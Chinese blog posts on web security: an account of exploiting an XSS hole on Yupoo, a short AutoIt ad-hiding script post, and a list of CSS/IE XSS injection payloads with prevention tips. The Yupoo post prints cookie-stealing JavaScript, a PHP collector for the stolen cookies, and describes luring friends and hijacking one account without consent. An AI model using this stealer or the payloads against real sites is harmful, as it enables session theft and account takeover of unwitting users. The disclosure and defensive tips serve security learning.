Yupoo 的 XSS 漏洞攻击实录January 14, 2009

声明:此漏洞已经提交到 Yupoo 官方。因此漏洞造成的任何后果,本人不承担任何责任。

偶然的机会发现 Yupoo 线上某页面有个 XSS 漏洞 ,它能执行任意的前端代码。

http://files.gracecode.com/2009_11_05/113846d10845.jpg

漏洞产生的原因主要有两点,首先是表单虽然定为 POST 方法,但尝试后发现 GET 参数也可以接收的;其次,也是最致命的是,输入的参数没有经过任何的转义和过滤,就被加入到了页面中。

http://files.gracecode.com/2009_11_05/742516d10846.jpg

于是插入了相应的 Javascript 代码,并构成了 XSS (参看图中 input 参数后面的 value 已经构成了 script 标签)。

弹出个 alert 框似乎并不能说明什么问题,最好能使它发挥威力。于是构建了个 Javascript 脚本传递客户端的 cookie 到本人的服务器环境。Javascript 脚本可以简单的这样写

var img = new Image();
img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);

然后服务器端使用 PHP 简单写了个脚本保存 Cookie 数据

<?php
if (isset($_GET['var'])) {
    file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));
}

接下来就属于社会学的范畴, 我在 Twitter 上 发了信息并「引诱」朋友们去点击伪造后的连接(我承认很猥琐)。

http://files.gracecode.com/2009_11_05/574966d10846.jpg

不一会就收集了某兄弟的 Cookie,于是将其 Cookie 内容填到了本地浏览器上(谢天谢地,Yupoo 的 Cookie 不是很多)。

http://files.gracecode.com/2009_11_05/427946d10847.jpg

再次刷新浏览器,已经使用该用户的帐号登陆了(即便此时我还不知道他的密码)。

http://files.gracecode.com/2009_11_05/881866d10848.jpg

http://files.gracecode.com/2009_11_05/826286d10848.jpg

最后,使用此帐户发张本人的艳·照,纪念下…

-- Update --

截止 2009-01-14 16:25 , Yupoo 已经修复了此漏洞,效率真高!赞!

-- Split --

总结:上述攻击的手段,仅仅是从个不起眼的 XSS 漏洞开始。XSS 虽然发现快、修补也很方便,但从根本上避免还是个值得研究的课题。

Web2.0 大潮已降, 前端正在改变这这个世界 。前端代码的安全问题,是每个前端从业人员必须去面对和注意的。

使用 AutoIt 隐藏部分 QQGame 广告November 18, 2008

本人是逢赌必输,自上次(圆心:「是每次吧」)和 王爷 搓麻又交了笔学费以后,我就「偷偷摸摸」地勤加练习 -- 上 QQGame 玩杭州麻将。不过 QQGame 这玩意广告还真的是多,一点错搞不好弹出个浏览器窗口。

眼看自己的「职位」永远在「初品茶叶」上久久不能翻身,遂一股脑的将气撒在了那些广告的身上。终于有天忍不住爆发,祭出我刚学的 AutoIt 写了个小脚本,隐藏了部分自己觉得「看不顺眼」的广告。

http://files.gracecode.com/2008_11_17/1226930771.png

如上图,主要的隐藏部分主要是大厅上面的那个 Banner(真的很容易点错),以及右边聊天窗口的那排买道具的连接(我发誓,从来没买过道具)。

最后, 此相关的 AutoIt 源代码和二进制文件打包下载

--Split--

Taobao UED 招聘第三季 已经上线,各位有兴趣的弟兄可以关注下。

常见的 XSS 注入攻击方式 Part.2November 5, 2008

接上一期 ,这里主要考虑 CSS 注入的方式。CSS 注入主要为背景图注入和针对 Exploer 的 CSS Expression 注入。

考虑没有完全将样式过滤的情况,下面的代码即有可能成为攻击代码

<xss style="behavior: url(xss.htc);">

上面的是针对 Exploer 的 htc 注入,htc 可以认为是个脚本。

<div style="background-image: xss.jpg">

谁会知道 xss.jpg 是什么内容呢?不过很多站点统计代码也是使用了这一原理。

<div style="width: expression(alert('xss'));">
<img style="xss:expr/*xss*/ession(alert('xss'))">
exp/*<A style='noxss:noxss("*//*");xss:ex/*xss*//*/*/pression(alert("xss"))'>

针对 Exploer 的 Expression 要保持「淡定」,最好的做法就是过滤 style 属性。

如果没有将注释完全过滤充分,则又会在 Exploer 出现典型的注入漏洞

<!--[if gte IE 4]>
    <script>alert('xss');</script>
<![endif]-->

安全性问题,这个时候我反而感谢 Exploer 提供那么多的「机会」。

-- Split --

那么如何预防 XSS 注入?主要还是需要在用户数据过滤方面得考虑周全,在这里不完全总结下几个 Tips

  1. 假定所有的用户输入数据都是「邪恶」的
  2. 弱类型的脚本语言必须保证类型和期望的一致
  3. 考虑周全的正则表达式
  4. strip_tags、htmlspecialchars 这类函数很好用
  5. 外部的 Javascript 不一定就是可靠的
  6. 引号过滤必须要重点注意
  7. 除去不必要的 HTML 注释
  8. Exploer 求你放过我吧……
Yahoo 统计